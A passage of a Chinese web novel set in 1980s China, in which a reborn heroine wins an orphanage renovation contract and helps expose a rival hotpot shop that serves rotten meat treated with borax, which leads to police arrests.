这一段路程不短,他迈着不紧不慢的步子,思绪也渐渐飘远。 梅子是接回来了,但是先前收养她的人家对她很差,导致梅子的身子也十分不好,十八岁的姑娘看着就像十四、五, 这以后必定要好好休养一阵,最好是先去医院仔细检查一下。 还有东子他/妈那里,虽然手术的费用暂时够了,但是听医生的意思,后期调理也需要一笔费用…… 要花钱的地方太多,这次卖镯子的钱虽然不少,但是照这种情况,恐怕也支撑不了多久…… 顾英杰脑海里正思索着如何凑到更多的钱,不知不觉走到家门口,一抬头,这才发现一个衣着不俗的女孩正站在自家门前。 对方大红色的毛线帽和围脖看着有几分眼熟,让他一下就想起今天早上在刘五爷家院墙外遇到的小姑娘,分明就是同一个人! 不……或许不只是今天早晨才遇到! 看着眼前女孩稚嫩却沉静的面容,他猛然想起什么,目光瞬间一沉。 苏丽珍见对方认出自己,也不再像之前那样躲避,而是主动上前,开口道:“你好,顾老大,看来你已经认出我了。我再自我介绍一下,我姓苏,我父母是珍珍小吃的老板。” 顿了顿,她又补充了一句:“我是从刘五爷那里打听到这里的。” 听到“刘五爷”三个字,顾英杰沉默了一瞬,心里倒也不稀奇,毕竟两人之前就是在刘五爷家门前遇上的。 对方这个时候提起刘五爷,无非是在提醒他,人家有靠山,他想做什么之前,都应该好好掂量掂量。 而且昨天在“珍珍小吃”,他可是亲眼见识过眼前女孩的厉害,年纪虽小,却绝对不是个善茬。 当然,他倒也不惧怕对方,只是不会再做什么。 毕竟之前是他干了不讲究的事,他挺大个老爷儿们,错了就是错了,该认就得认。 是以他只是沉默了一瞬,便沉声说道:“昨天的事是我不对,我向你赔罪……如果你有什么要求,只要是我能做到,我都会去做。” “……当然,伤天害理的事不行。” 他知道对方不会平白无故地找来,要不然今天等在这儿的就不是小姑娘自己,而是公安的人了。 苏丽珍听了这番话,便知道自己这一趟没白来。 对方果然如她所打听的那样,是个有底线又很聪明的人。 这样的人如果用的好,绝对会是非常得力的帮手。 苏丽珍微微一笑,坦然道:“顾老大果然是个爽利人!你放心,我这次不是为了昨天的事来的。” “顾老大爽快,我也不卖关子,我确实是有事想请顾老大你帮忙。” 虽然苏丽珍话说的客气,但是顾英杰听了,心里不但没有放松,反而愈发警惕了几分。 毕竟以对方的身份,需要找他这种人做的事,十有八九也跟昨天的三角眼一样,没啥正经事。 虽然眼下对方言语客气,而且一副对昨天的事既往不咎的态度,但这未尝不是一种先礼后兵。 所以他面上不显,只淡淡回道:“苏小老板客气了。我顾英杰自知有几斤几两,以你家的身份地位,哪里需要找我这样的人帮忙。” “不过既然苏小老板不计前嫌,能看得起我,那我也不是不知好歹的人。以后只要你言语一声,哪怕是挑粪挖煤的脏累活儿,我顾英杰也绝没二话!” 苏丽珍听他特意把最后一句咬得重重的,明白对方是在告诉自己,他愿意给他们老苏家办事,也不怕辛苦,但绝对不能是什么乱七八糟不入流的事。 看对方这么谨慎,苏丽珍越发满意,也不再试探,直接将心中的计划和盘托出。 顾英杰全程听完,面色几变,最后看着苏丽珍的目光也带了几分审视。 苏丽珍坦然接受对方的打量,只神情郑重道:“顾老大,我从刘五爷那里听说了你不少事。知道你为人仗义,做事有原则、有底线,不会为了不义之财出卖良心,所以我才来找你做这件事。” “你如果肯出手,一方面既是为民除害;另一方面也算是对昨天陷你于不义的小人一个教训。” “当然,我欣赏顾老大的为人,所以也请顾老大你放心,我是真心想要找你合作,自然不会强求。如果你不愿意,完全可以t拒绝,而我之前说昨天的事一笔勾销的话照样算数。” 顾英杰沉默了半晌,哂然一笑:“听起来我似乎没有拒绝的理由。” “好,我答应你,就当是为我昨天的事赔罪。” 苏丽珍却摇头道:“顾老大,我说过昨天的事已经揭过,咱们是平等合作的关系,所以只要你愿意帮我出手,不管结果如何,我都会付给你们报酬。” 说着,便从兜里掏出一个信封递给对方,“这是定金,事成之后另有答谢。” 顾英杰看着眼前这个只到他肩头的小姑娘,神色复杂,“你不怕我拿了钱,不办事或者故意糊弄你?” 苏丽珍回视着对方,自信笑道:“我相信顾老大的为人,更相信自己的眼光。” 苏丽珍走后,顾英杰看着手里分量不算轻的信封,脸上露出一抹自嘲。 相信他的为人。 没想到现在能对他说这话的,会是一个仅有一面之缘,而且差点被他坑了一把的人。 从少时人人夸赞有“祖辈遗风”的热忱少年,到如今一事无成,衣食无计的二流子,已经很久没有人对他说这样的话了,他从大家口中听到最多的也是惋惜、嫌弃和提防。 也难怪大伙儿要提防,他可是为了钱,差点堕落到跟三角眼那种人混一块儿了。 爷爷和爸爸要是知道了,恐怕在地下也不得安生吧。 他捏紧了手里的信封。 所以,说什么“原则”“底线”的,其实他还是为了钱啊。 “为人”两个字,现在的他根本不配提。 # 苏丽珍这边,跟顾英杰把事情敲定后,到家又挑时间打了一个电话,之后把事情前后复盘了一下,确定没什么疏漏,就一边静待事情发展,一边为明天的开学做准备。 新学期伊始,还没等大家从松散的假期时光醒过神来,谢芳芳就迫不及待地带着她的重磅礼物闪亮登场——一套从首都带回来的高中全套解析题册。 高考才恢复几年,如今教辅类书籍市场可以说一片空白,基本上一书难求,更别说是一套专门针对重点、难点,集习题和解析与一体的辅导书籍。 毫不夸张地说,谢芳芳这套习题册放在整个凤城市都是有价无市,别说学生们了,就是平时全靠自己费心思编写试题的老师们也视同至宝。 面对这种情况,谢芳芳大手一挥,非常豪气地把整套书都贡献出来,供给大家抄用。 可书毕竟只有一套,班上却有五十多名学生,外加后面排队等着的各科任老师。 苏丽珍和卢向阳商量了一下,索性带着班干部和各科课代表一起,利用课余时间先将题册誊抄在黑板上,再由同学们统一抄录。 为了加快誊抄速度,苏丽珍跟李老师打报告,干脆连教室后面的黑板报都被征用了。 新学期,别的班级板报都是大幅宣传开学新气象的板书,唯有高一二班的黑板报上密密麻麻全是各科目的参考习题,也算是一景了。 就这样过了紧张而又忙碌的几天,一晃儿又到了周末。 上午十点半,店里的客人还不是很多。临街的包间内,苏丽珍拉着苏卫华一起,准备迎接一位特殊的客人。 “你好,我是凤城日报的主编李孟儒。” 李孟儒四十多岁的年纪,戴着一副黑框眼镜,面容清瘦,五官有些严肃,但一开口声音温和又不失热情。 他进屋就主动跟苏卫华握手打招呼,看见站在苏卫华旁边的苏丽珍,很快反应过来,微笑道:“你就是那天给我打电话的那位小同志吧!” 苏丽珍笑着点头:“您好,李主编,之前是我打电话联系您来的,我叫苏丽珍。” 双方寒暄了几句,父女俩把人迎进包厢,让王树倒茶、端水果,又客气了一番,李孟儒马上进入正题道:“苏卫华同志,之前小苏同志打电话说,你们有意向接手凤城福利院的翻新工程,我来就是想确认一下,你们是真有这个想法吗?” 李孟儒在凤城日报工作了二十多年,年轻时就以犀利的笔锋、生动的文笔在整个凤城市小有名气,如今他早已荣升主编多年,不需要像年轻时那样经常在外跑新闻、赶通稿,但唯有一项是他多年不曾放下的。 那就是每年对凤城市福利院的境况进行跟踪报道! 通过这些报道,让大家了解孩子们面对的困难、亟需哪些帮助,也呼吁各界人士,有条件的能施以援手。 这些年,随着他的一篇篇深入报道,加上上级部门的重视,福利院接收的援助越来越多,孩子们的境况也肉眼可见地更好了,只是从去年开始,却有一件事属实把他难住了。 按说福利院条件好了,自然第一件事就是改善孩子们的生活条件,吃穿就不必说了,难的却是住房上。 现在的福利院是用解放前一家小型私人医院改建的,本来也是红砖白瓦的小洋楼,但是先前打仗时就损毁了不少,后期又碍于资金紧张,一直没有系统的修整过,只是简单地修缮,这么多年过去,实在是破败的厉害。 翻新福利院洋房,这活儿说大不大、说小不小,巧就巧在,现如今国家提倡经济建设,整个凤城市去年上马了好几个大型项目,各各工期紧、工程量大,市建设总局下的所有建筑施工队伍都派出去了,工期最快的都要到明年五月份,眼下硬是腾不出一点人手来! 李孟儒和民政局的干部也曾找了民间会盖房子的人来看过,结果来人一看是这种旧式老洋房翻新,既要保证现有的建筑结构完整,还要保证翻新后的部分与之前看齐,绝不能有“瘸腿”的地方,反正林林总总下来,简直比新盖一座房子都麻烦。 这年头不管城里乡下,盖间土坯房就不错了,顶天就是砖瓦房,加上那十年人才凋零,像捯饬老洋房这么专业的活计,许多人都不敢接。 所以这事最后竟只能搁置下来,也就成了李孟儒的一块心病。 直到两天前的午间,他突然接到一通电话,对方说想要接手福利院的翻新工程。 第112章 电话里,对方特地强调了他们有专业的设计人员,而且工程无论大小,全走正规流程,从前期预算、签合同,到后期验收,所有环节半点不马虎。 尤其这次的福利院翻新,对方也会事先出至少两套的翻新方案,确保李孟儒和民政部门评估满意之后再动工,务必让他们放心。 “行家一出手,就知有没有。” 光听对方这几句话,李孟儒就觉得人家必然有些真本事,所以一点没轻忽,电话里一说好,今天就特地走了这一趟。 谁知他刚问完,对面苏卫华却是转头一笑,说道:“李主编,关于工程的事,让我女儿珍珍先跟您说一说吧。” 李孟儒闻言有些诧异,眉头不仅微微一皱。 他没想到对方竟把这么重要的事推到一个小姑娘身上。 不过不等他多想,就见眼前这个叫“珍珍”的小姑娘神态从容,大大方方拿出来一沓资料先递了过来。 出于职业习惯,李孟儒练就了些一目十行的本事,所以这些资料递过来时,他下意识扫了一眼,就立即被上面的信息吸引了全部注意力。 这些资料,包括了他们家如今这支建筑队伍的详细介绍,目前承接了哪些工程及相关施工图纸,以及薛老爷子、丁大勇和几个成手大工的工作履历; 甚至还有薛老爷研究设计的一些比较迎合当下审美的工程效果图。 这一沓资料准备的十分细致,图文并茂,充满了说服力! 李孟儒只觉精神一震,眼下这个叫做“筑梦”的建筑公司虽说资历不足,但就凭这份详实且专业的资料,就比他之前找的那些施工方强多了! 他心中先已认可了三分,是以对苏卫华把事情推给一个小姑娘这种行为竟也不觉得那么难接受了。 苏丽珍这边,等李孟儒把那些资料看了个大概,眼见他面色缓和下来,才适时开口,从旁做起了补充介绍。 她全程语言流利,神态自若,一看就是深切了解过的,绝非不懂装懂。 等介绍的差不多了,最后又略带歉意道:“李主编,本来今天负责跟您见面的,应该是我们的总工程师薛有粮老爷子和主管项目施工的丁大勇经理。” “可事有不巧,我们昨天新接了一个单子,是新田公社那边要成立一t家养殖场,特意托人打听到我们这儿,怕误了农时,对方催促得比较急,所以丁经理今天一大早就出差了。” “工地这边又有临时要验收的,薛老爷子只得赶过去了。不过他那边应该很快,估计十一点左右就能回来,到时候让他老人家再跟您好好聊聊。” 知道自己并没有被随意敷衍,李孟儒这才高兴起来。 而且薛有粮这个人,他之前还真听说过! 毕竟都在一个市,这老爷子绝对算行业顶尖,吃亏就吃亏在没什么学历,但是专业方面,整个凤城市可没几个比得过的! 想不到老爷子退休后来这家公司做了总工,看来福利院这事还真有门! 思忖间,就听一旁苏卫华接过话道:“对对,是这么回事!李主编,真是不好意思,今天真就是赶巧了!” “大勇是我看着长大的,算我干儿子,这孩子好钻研,他和我们家珍珍一起琢磨了这么个建筑公司,我想着有薛老爷子给掌眼,也就随他了!再不济也有我们做长辈的兜底,总不至于太差。” “今天事情赶到这儿了,是我们怠慢了您!一会儿我做东,等薛老来了,咱边吃边聊,也算我们给您赔不是了。” 李孟儒却听得心里一动。 作为凤城市小有名气的新闻人,他了解的消息不少,恍惚记得如今凤城最有名气的个体饭店是家火锅店,店老板好像也姓苏…… 又想起店门招牌上那醒目的“珍珍”二字,他脑子里灵光一闪,脱口道:“苏同志,莫非这家火锅店是你们家开的?” 见苏卫华点头承认,他当下来了兴趣。 苏卫华可是改开后凤城市的第一批个体户,尤其据他所知,这家“珍珍”火锅店在短短几个月就闯出了名声,听说他们家还有个十分特别的“会员”制度,更是大受好评! 现下他误打误撞坐在这里,眼见着还不到饭点,店里就客似云来,简直热闹得不行。 可以说,作为第一批敢于“吃螃蟹”的人,苏卫华一家算是获得了不小的成功! 而苏家的成功关乎的不仅是他们个人,同样也释放了一个重要的信号,它所体现的价值放在整个社会、甚至是当代历史上,也是十分有意义的! 出于深入骨髓的职业习惯,李孟儒这个新闻人太想了解有关这家店的故事了! 至于福利院翻新的事,他已经了解到,目前这支建筑队伍有专业层面的技术指导,有可靠的项目实施人,更有“珍珍火锅店”这家成功的饭店老板背书。 起码他们一不是骗子,二不会随意糊弄过关。 现在他对这事倒是有八成把握了,只等见过薛有粮,回去跟民政部门的主管领导汇报一下,双方再见个面,这事就能定下来了。 这会儿他更想跟苏卫华好好聊一聊,最好能做个正式的采访。 而苏卫华一听说李孟儒要采访他,从之前旁观女儿发挥、顺便助个威的自豪淡定,一下紧张得直冒汗。 好在他现在也算有点见识,李孟儒又是个很亲切平和的人,于是在女儿鼓励的目光下,也慢慢镇定下来。 话题从当初一家三口摆摊卖包子、凉皮,再到创立火锅店,提起个中酸甜苦辣,苏卫华可以说是渐入佳境,侃侃而谈。 话说到一半时,薛老爷子就赶过来了。 李孟儒有些意犹未尽地暂停了采访,双方就工程上的事又探讨了一番。 最后敲定,由李孟儒向民政部门汇报,苏丽珍这边则先出具两套翻修方案和初步预算,如果双方满意就可以签订合同。 福利院的事终于有了进展,李孟儒眼见着高兴不已,还想拉着苏卫华再接着之前的采访说几句。 一旁苏丽珍却是笑道:“李主编,别人说的哪能比得上自己亲口尝的?正好现在十一点了,我薛爷爷也忙了一上午,我这就让他们上菜,你们边吃边聊,顺道给我们家的菜品打打分。”说着,便让人架起了鸳鸯锅。 伴着浓郁的锅底香,各式码放整齐的荤素涮菜依次上桌,间歇还有色泽诱人的卤味拼盘。 李孟儒本不是重口欲的人,但是面对这么一大桌丰盛的菜肴,在嗅觉和视觉的双重刺激下,竟然也不自觉咽了口口水,等反应过来自己都不禁失笑。 夹起一片薄如蝉翼的羊肉,他短暂地犹豫了一瞬,便毅然将筷子伸进翻滚的红色辣锅里。 涮羊肉他常吃,但是正宗的川味火锅他倒没怎么吃过,所以哪怕不太能吃辣,今天也必须得试上一试。 当第一口被红油锅底烫染成深色、又在裹夹着蒜泥的香油碗里二次翻滚的羊肉片入口后,几乎不给他任何反应的时间,浓烈的辣椒香,刺激的麻椒味,还有羊肉本身的醇厚,以及香油的油润和一点若隐若现的蒜蓉清香,所有的味道一瞬间在他口中交汇成了一种极致的香味,简直令人一口难忘。 不过极致霸道的香味过后就是灼人的火辣口感,李孟儒只好略停一停,恋恋不舍地将筷子转向一旁的卤味熟食。 夹起一片带皮的肘花放入口中……嗯,原来猪肉能做得这么好吃吗? 感觉他这么多年的猪肉好像都白吃了…… 总之,无论是火锅还是卤味,实在都好吃到让他一度词穷,都不知道该用什么词汇来形容这一刻的绝美享受。 他也终于能够明白,为什么这家店可以成功。 除了一样的踏实肯干之外,苏家简直是把“人无我有,人有我优”这八个字做到了极致。 这顿饭,李孟儒吃得十分香甜。 苏丽珍和苏父悄悄对视一眼,心中难掩欣喜。 能让李孟儒这样有名的“笔杆子”满意,绝对会让饭店的名气更上一层楼。 眼见这顿饭接近尾声,苏丽珍瞥了眼一直微敞的窗口,心里随着墙上的时钟默数,很快窗外便传来一阵喧哗。 “这是怎么了?出啥事了?” 正好李孟儒和薛老爷子已经吃得差不多了,听见动静顺势便起身走到窗前,将窗户全部打开。 窗子正对大街,此时与饭店斜对过不过二十米的街道上正聚集了十几个人,当中一个身形略敦实的男青年正扯着嗓子大声叫骂: “丧良心的‘朱记’火锅店,居然用坏肉糊弄咱们大伙儿,还敢往肉上抹化学品!这他/娘的已经不是坑人了,他这就是在害人!是在下/毒!” 青年的嗓门极大,这一嗓子下去,站在窗边的几人听得一清二楚。 李孟儒这个老记者出身的,几乎是第一时间就肃起脸,转头就对苏家父女道:“恐怕是真出事了,我先过去看看!” 苏家父女自然是没意见。苏丽珍就不说了,事关“朱记”,苏卫华也想去看看什么情况。薛老爷子更是嚷嚷着要去看热闹,虽说他一直对“朱记”印象不好,可也不太敢相信对方能胆大包天到公然下/毒—— 作者有话说:中秋节快乐! 第113章 等几人从饭店出来赶过去,不过三两分钟的工夫,敦实青年身边已经闻声围了不少人。 李孟儒拨开人群走上前,主动对那青年道:“小伙子,我是凤城日报的主编,你刚刚说有饭店故意坑害顾客,请问是怎么回事?” 一听是凤城日报的,青年立马一副找到组织的样子,当即一脸义愤填膺道:“主编同志,你们可得赶紧管管这事!” “就后面那家‘朱记’火锅店!今天我们去他家吃锅子,等位的时候,前面吃饭的有俩人突然开始肚子疼,一前一后的,还两个人都疼,这肯定是吃的有问题啊!” “然后其中一桌人就发现这家店给上的羊肉上沾了点白色/粉沫!开始以为有人故意下/毒,大伙儿就把老板按住了,有人直接冲到后厨,又发现后厨里不少肉上都能检查出这种白色的‘药沫子’。” “当时有懂行的兄弟认出来了,说这不是啥药沫子,其实是硼砂,一种化工品,钢铁厂、玻璃厂都有。听说把这玩意儿抹在坏肉上,那肉就一点看不出来有问题了;就是好肉抹上,也能保证放个好几天不坏。” “关键他/妈/的,这玩意儿有毒啊,人不能吃啊!‘朱记’这老板简直缺了八辈子德了!” “还有他家那后厨里,大伙儿翻出来的差不多全是坏肉,烂乎乎t的,都有味了,好肉连他/妈四分之一都没有!” “幸好我今天家有事,去的晚,没位子了,要不然简直花钱找罪受,想想就晦气!” 青年一脸心有余悸,周围的人也是议论纷纷。 大伙儿大多是这附近的居民,因为之前‘朱记’主打一个便宜,其中大部分都去过。 如今听了这一遭,一个个顿时像吃了一碗苍蝇,恶心、生气、后悔,那脸色要多难看有多难看。 李孟儒也是面色不好,又问青年道:“最开始肚子疼的两个人现在怎么样?还有其他人有什么反应吗?” 青年老老实实道:“那两人被他们的同伴送医院了!在店里吃饭的其他人也害怕出问题,有一部分也都跟着去了医院。” “他们家店小,火锅又吃得慢,其实人不多,基本都是等位的。加上有几个自觉身体还行的,大家就都留下了,说是要看着老板这伙人,不让他们跑了,好等公安来了讨个说法!” 李孟儒沉着脸点点头,“我知道了,谢谢你,小伙子。” 青年有些不好意思地挠了挠脸,“这没啥,都是我应该的……那个主编同志,你要是写文章,可千万把这事好好写写,让大伙儿都看看这该死的‘朱记’有多坏!大伙儿这才过上几天吃饱饭的日子啊,咋能干这缺德事呢!” 围观的人也纷纷附和道:“对啊、对啊,最好让公安把这朱老板抓起来,判他个十年八年,省的他害人!” 李孟儒也没再说什么,冲大家点了点头,便率先往“朱记”火锅店去了,薛老爷子也大步跟上。 这次苏丽珍和苏父就没再跟着。他们跟朱广才既是同行,又是冤家,这时候上前容易惹一身腥。 “凤城日报”四个字不比公安的威信力差,是以不少围着的人也跟着李孟儒一起过去了。 那敦实青年落后了几步,临走前有意无意扫了苏丽珍一眼,得到对方一个微不可见的点头后,才快步跟上了人群。 如果黑市刘五爷的人在场,肯定能认出这个其貌不扬的青年正是那天跟在顾英杰身边、叫“大河”的小伙子。 父女俩虽然没再过去,不过却安排了王树时不时过去看一眼。 公安来的很快,到了“朱记”,因为所有罪证之前就被食客们搜罗出来,倒也没费什么劲,了解情况后,就把人都带走了。 “朱记”没雇外人,一直是朱广才爹妈加老丈人、小舅子一家帮忙。 今天朱广才的老丈人没来,剩下的朱广才加上他爹妈和小舅子,四个人直接被一锅端了。 苏丽珍估摸李孟儒怕是还会跟着去派出所,所以当即便让王树把他忘在包间的公文包给送了过去。 等王树再返回时,薛老爷子也跟着一起回来了。 一进屋就对苏丽珍父女俩使劲摇头,实际情况远比那小伙子说的还要恶劣。 原来当他们赶到“朱记”的时候,公安的人还没到,得益于李孟儒的身份,那些等说法的食客不但没拦着他们,还争先恐后地向他展示大伙儿搜出来的物证。 “朱记”后厨不大,那点东西可以说一目了然。而本来地方就局促,偏偏又隔出了一个小房间,大白天都上着锁,明摆着不正常。 大伙儿也不客气,直接从朱广才小舅子身上翻出一把钥匙,把门打开,结果里面的东西差点把大伙儿看吐了。 隔间里堆了许多接近腐败、变质的肉类,牛羊肉里起码有一半有问题,猪肉更是重灾区。 由于“朱记”时刻拿自家对标“珍珍”火锅店,所以店里同样有熟食出售。 只是这些做熟食的原材料几乎全是病、死猪肉,平常因为用了大量酱油和香料掩盖,普通人也不大尝得出来。 除了肉类,地上还摆了两个装满红油锅底的泔水桶,旁边是一个略干净的空桶,上面罩着一层油腻腻的滤网。 这一套简直看得人头皮发麻,这黑心老板过滤这些泔水干什么?想想桶底儿那一层红彤彤的红油,答案不言而喻! 都不知道每天来这里吃饭的食客,用的是回锅了几次的“泔水”了。 这场景直接就把一部分人看吐了,剩下一部分人也脸色铁青,当场把朱广才和他小舅子胖揍一顿。 要不是怕打坏了人,有理变没理,那两人今天绝对捞不着好。 此外,角落里还堆着满满一袋子“硼砂”。 硼砂袋子旁边就铺着一块塑料布和一副尼龙手套,塑料布上这会儿正摆着一大块羊肉,看色泽倒是鲜嫩粉润,只是肉块旁边散落的白色粉/末却让人心里发寒。 饶是有涵养如李孟儒也气得不轻,当场就向众人表示,会全程跟踪报道“朱记”的恶行,绝不放任这股歪风邪气滋长,直接换来众人的一片叫好声。 “朱记”这次,十有八、九要完了。 到现在,已经有那么多人亲眼见识了他们的胆大妄为,朱家这块招牌今天算是砸定了。 考虑到朱广才背后有些关系,所以为了保险,她又特地请来了李孟儒。 当初在报纸上看到李孟儒急于翻新福利院、却苦于市内多个工程队分身乏术的报道后,她第一时间就想到了自家的建筑公司。 拿下这个工程,既相当于他们的公司向全市推广的第一张名片,同时,也能借此联系上李孟儒这位凤城日报赫赫有名的大主编。 经历过后世的她,深知一个资深媒体人的重要。他们可以成为你对外发声、树立形象的喉舌;如果对方恰好是一个秉性正直、客观公正的人,他们还会勇于揭露黑暗、曝光罪恶,维护无辜者的利益不受侵害。 就像今天的“朱记”,李孟儒一定会用最快的速度将他们曝光在公众面前。 除非他朱广才背后的人能在凤城市一手遮天,否则不可能堵住悠悠众口。 不过饶是苏丽珍早有心理准备,但她还是严重高估了朱广才的底线。 不,该说这人压根就没有底线。 谁能想到,整个饭店合格的食材居然连30%都达不到,甚至敢拿泔水桶里的废锅底回收再利用,加上不知用了多少的硼砂,这已经不是单方面的以次充好了,简直就是明晃晃的违法犯忌,合该一家子全吃牢饭去。 这一刻,她心里甚至觉得有点庆幸。庆幸她联系刘五爷,了解了那条黑产业里的门道;拉拢顾英杰盯稍“朱记”,摸清了对方和郭赖子交易送货的时间,一路推波助澜把这事爆出来,也避免了有更多的人遭“朱记”坑害。 如今这事闹得越大,隐在身后利欲熏心的郭赖子之流才跑不掉,加上刘五爷肯定会趁机出手。苏丽珍相信,这一串损人利己的“毒瘤”肯定能被一次割个干净! 而事实也正如苏丽珍料想的,针对这次“朱记”事件,凤城日报连续三天头版头条公开报道,直接在整个凤城市掀起了轩然大波。 一把手书记亲自做出指示:必须严肃处理,给广大人民群众一个交代。 有关部门雷厉风行,仅仅两天时间就顺着朱广才这条线,顺藤摸瓜查到了郭赖子头上,当天就把这群坑蒙拐骗的不法分子捉拿归案。 对这伙人的判罚结果也下的很快。 这次因为上头的态度坚决,这伙人又明显犯了众怒,所以即便朱广才背后有点关系,这时候也不敢轻易冒头。 更何况从苏丽珍打听的消息看,朱广才所谓的“靠山”也不算硬,双方更是纯粹的利益关系,平时小打小闹就罢了,绝不会在这节骨眼上为了朱广才把自己搭进去。 所以朱广才一家这次都受到了重罚。朱广才本人丢了本职工作不说,还判了三年有期徒刑;他小舅子和父母也分别被判了二年和一年;朱广才老婆勉强保住了工作,但是档案记大过一次。 这个判罚结果还是基于那两个入院的食客只是轻微的肠胃受损,住三天院就能出院的前提,加上他开店时间短,有关硼砂的“诀窍”还没用多久,没有造成什么严重后果,否则朱广才怕是要把牢底坐穿。 不过即便如此,朱广才除了需要承担两个食客的医疗费用外,还要面对高达六百元的高额罚款,以及二十年内不得从事餐饮行业的行政处罚,彻底地赔了夫人又折兵。 郭赖子本人以投机倒把罪被判了十五年,他手底下那些“兄弟”有一个算一个全都没跑,最轻t的都是五年。 而朱广才所在的市钢厂也因为管理不规范,导致硼砂流出被私自滥用,造成恶劣影响而被通报批评。钢厂负责人被要求进行深刻的自我检讨,厂里大大小小的管理层都跟着吃了瓜落。 第114章 判的判,罚的罚,等一切尘埃落定,也已经是一周后了。 期间,李孟儒对“朱记”跟踪报道的同时,也没忘了把福利院翻新工程落实。 一周的时间内,薛老爷子和丁大勇一起设计出具了两套翻新方案。 然后,由李孟儒牵头,和民政部门的负责人三方一起,经过一番研究探讨后,最终决定本次翻新工程正式交由苏家的“筑梦”建筑公司负责,并当场选定了一套施工方案签订合同。 等民政部门把第一笔工程预付款打过来,就可以正式开工了。 转眼又到周末,苏丽珍把最新的凤城日报收好,便早早出了门。 再次见到顾英杰,对方身上的防备散去了不少,不像前一次见面时的那么难以接触。 见面的地点仍然在顾英杰家门口。大抵是祖上也曾阔绰过,顾家的院子虽说已经破败了,但是在这一片巷子里却难得的独占一隅,门前因此有一片不算小的空地,倒是个适合说话的地方。 “顾老大,这次辛苦了,这是说好的尾款。” 苏丽珍说着,从身上取出一个信封递给对面,等对方收下,才斟酌着问道:“不知道你那两个朋友现在怎么样?” “……虽说有些马后炮,但我真没想到,他们会遭这个罪。” “朱记”事发当天,那两个吃坏肚子入院的食客也是顾英杰的人。 硼砂这种物质极易溶于水,抹在生肉上其实很难看出来。 所以苏丽珍才安排顾英杰事先准备好一份硼砂,在他们吃饭的肉片盘底悄悄撒上一点,为的就是叫人能一眼看出这种东西的存在。 初初听说那两人吃坏了身体被送进医院,她还以为是顾英杰让他们故意装的。毕竟朱广才也是长脑子的,给食客上桌的肉基本都是好坏掺着来,只要不是一天三顿、顿顿吃,一次两次的也不会出问题。 可等她后来确认那两个人是真的出现了胃肠损伤,还因此住了三天院,她心里才有些不安。 要知道现在的人真的很少去医院,大家都奉行“小病自己好,大病不用治”的原则,能不去医院就不去,寻常闹到要住院的程度确实是很严重了。 难道是他们为求效果,误打误撞地真把自己吃坏了?按说不该这么巧,毕竟当时同去医院做检查的其他人都没有问题,他们既已提前知道底细,更不该出现这种纰漏。 不过想想,这世上又有什么事是一定不会发生的呢? 毕竟连她都是重生的。 她自以为剪除朱广才这颗“毒瘤”的计划完美无缺,没想到还是发生了这样的失误,牵连别人受罪,不免有些自责。 顾英杰拿着信封,心底为触/手的厚度感到惊讶,正犹豫着该不该收这么多,就听见苏丽珍的问题。 感受到对方语气里的真诚,那一瞬间,他身上的疏离都淡去了许多。 不过,他并没打算就这个问题多说,只是言简意赅道:“他们没事了。” 想了想,最终又解释了一句:“这事责任主要在我。” 苏丽珍听得微愣,这是什么意思?什么叫责任在他?难道说是顾英杰有意安排他们吃坏身体的? 就为了做戏做全套? 这和她之前想的完全不一样! 而且他是为了做事这么不择手段的人吗? 她还记得当时在刘五爷那里,对方可是为了帮衬兄弟,把家传的长辈遗物都卖掉了。 这样的人会让兄弟去做这种不必要的牺牲吗? 两人毕竟不熟,加上苏丽珍的立场尴尬,毕竟对方也是听她安排、给她办事,如果她再继续深究,倒显得不识好歹。 好在她这次付的尾款分量很足,希望这份报酬多少能抵消一下。 苏丽珍一时不知道说什么,场面便有些尴尬。 恰在这时,两人身后顾家的院门突然“吱呀”一声被打开,从里面冷不丁钻出一个人来,竟是那天的敦实青年大河。 “那个苏小老板,你别误会,这事其实不怪我们老大!老大早就告诉我们那家的东西有问题,尽量少碰,我们去就是装装样子。” “谁知道大毛和孟子这俩熊货就长个吃心眼儿,听说能上饭馆蹭饭,头一天晚上就啥都没吃。” “那天跟我们老大坐一桌,一开始怕挨说,俩货还装的老实。后来饿得不行,馋劲儿又上来了,就趁我们老大出去跟我碰头的工夫,几分钟把一盘子猪头肉都造了,噎得直灌凉水!就说,他俩不难受谁难受?都他/妈/自找的!” 苏丽珍:“……” 听了这么个原因,她一时竟有些哭笑不得。 顾英杰一向没什么表情的脸上闪过一抹不易察觉的尴尬,阻止大河道:“行了,闭嘴,事儿都过去了,还嚼什么舌头。” 大河却显然不想轻易结束这个话题,“老大,我不能不说,我不能让苏小老板误会你,搞得好像是你为了达到目的、一点不把兄弟好赖放眼里似的!” “再说人苏小老板讲究,做事大气,咱也别懵人家。明明就是那俩属猪的,为了吃,啥也不顾,别整的好像他俩多一心为公、爱岗敬业似的!” 苏丽珍:“……” 差点忘了“一心为公,爱岗敬业”这八个字该怎么用了。 顾英杰显然也有些头疼,冲他板起脸道:“好了,别搁这瞎叨叨了,赶紧回屋去!” 看老大真不高兴了,大河也不敢再啰嗦,只得悻悻地转身回院子,不过走前,还忍不住扒着大门朝苏丽珍挤眉弄眼: “苏小老板,大毛和猛子这俩完蛋玩意虽然有点不靠谱,但平时还是很老实的!下次你要还有啥活,一定还来还找我们!你放心,再有下次,我保证把他俩看得老老实实的……哎,别打、别打,老大,我这就滚了!” 一把将院门关紧,回身看到苏丽珍脸上似笑非笑的表情,顾英杰脸上的尴尬之色越盛。 不过沉默了一瞬,他还是认真解释道:“这事其实不怪他们。他们一直跟着我,饥一顿、饱一顿,没享过福,底子没打好……还是我没本事。” 苏丽珍迟疑道:“他们的父母都没在身边吗?” 顾英杰微微摇头,“各自的父母都没了……大河也一样。” 苏丽珍只觉得胸口一闷,好像压了一块大石头。 她觉得自己应该说点什么,可是想起之前打听到的,又觉得说什么都显得多余。 看着顾家斑驳的院墙和陈旧的大门,心绪有些难平,思索了一会儿,她最终试探着说道:“顾老大,我之前就说过相信你的为人,之前的合作更证实了我的想法,你确实是个守信可靠的人。” “我们家今年参与组建了一个建筑公司,现在手底下有几件工程正缺人手。活计不轻松,但是工钱肯定能保证,如果干得好,一个月到手工资至少能拿四十块。” “也可以跟技工师傅从学徒做起,这种一开始工资不高,但是学成后,工资会比普通力工翻一番,不知道你愿不愿意带人来试试?” 结果不等顾英杰回答,紧闭的院门又被猛然拉开,大河裹着大衣稍显圆润的身影再次冲出来,口中一叠声应道:“愿意、愿意!” 他一边使劲给顾英杰使眼色、一边对苏丽珍飞快道:“我就说苏小老板果然是仗义人!这种好事还想着咱们哥几个,这还有啥说的,我们肯定一百个愿意啊!” 